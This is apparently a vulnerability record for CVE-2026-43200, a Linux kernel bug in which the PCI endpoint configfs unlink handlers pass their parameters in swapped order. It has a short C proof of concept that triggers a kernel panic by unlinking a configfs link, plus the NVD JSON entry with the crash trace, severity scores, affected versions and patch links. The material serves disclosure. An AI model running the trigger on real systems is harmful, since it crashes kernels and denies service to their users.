CVE-2026-43200

/* * PoC for CVE-2026-43200 * Trigger: Execute unlink operation on a configfs symlink for PCI endpoint. * Effect: Kernel Panic due to swapped parameters in unlink handler. */ #include <stdio.h> #include <unistd.h> int main() { // The path depends on the specific PCI endpoint configuration setup // Assuming the attacker has access to create/modify configfs entries const char *target_link = "/sys/kernel/config/pci_epc/.../epf_link"; printf("Attempting to trigger unlink on %s\n", target_link); // The unlink system call triggers configfs_unlink -> pci_epf_unbind // which calls the vulnerable function with swapped arguments. if (unlink(target_link) == 0) { printf("Unlink command issued. Kernel crash may occur.\n"); } else { perror("Unlink failed"); } return 0; }

{"cve": {"id": "CVE-2026-43200", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:39.090", "lastModified": "2026-05-11T20:10:53.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: endpoint: Fix swapped parameters in pci_{primary/secondary}_epc_epf_unlink() functions\n\nstruct configfs_item_operations callbacks are defined like the following:\n\n int (*allow_link)(struct config_item *src, struct config_item *target);\n void (*drop_link)(struct config_item *src, struct config_item *target);\n\nWhile pci_primary_epc_epf_link() and pci_secondary_epc_epf_link() specify\nthe parameters in the correct order, pci_primary_epc_epf_unlink() and\npci_secondary_epc_epf_unlink() specify the parameters in the wrong order,\nleading to the below kernel crash when using the unlink command in\nconfigfs:\n\n Unable to handle kernel paging request at virtual address 0000000300000857\n Mem abort info:\n ...\n pc : string+0x54/0x14c\n lr : vsnprintf+0x280/0x6e8\n ...\n string+0x54/0x14c\n vsnprintf+0x280/0x6e8\n vprintk_default+0x38/0x4c\n vprintk+0xc4/0xe0\n pci_epf_unbind+0xdc/0x108\n configfs_unlink+0xe0/0x208+0x44/0x74\n vfs_unlink+0x120/0x29c\n __arm64_sys_unlinkat+0x3c/0x90\n invoke_syscall+0x48/0x134\n do_el0_svc+0x1c/0x30prop.0+0xd0/0xf0\n\n[mani: cced stable, changed commit message as per https://lore.kernel.org/linux-pci/aV9joi3jF1R6ca02@ryzen]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.12", "versionEndExcluding": "5.15.202", "matchCriteriaId": "D50913C4-6689-4F0C-A587-7397F492A17C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/142b1bba3299264b76ed8ef53cd93b2b2af65d6c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1c96c1acef4b4a1108fc13f84a8ac0b0633bbb46", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/339191811e6fc4559c4008c5af7a91b05086d596", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/58686bf62cb38b92e4b28408162a5703775b4d12", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/733cbc3aa97e71cc70847e75c925b364cc9b04a6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8754dd7639ab0fd68c3ab9d91c7bdecc3e5740a8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/aefc0e0bd20f54abe3b501b8798c0be656af272b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}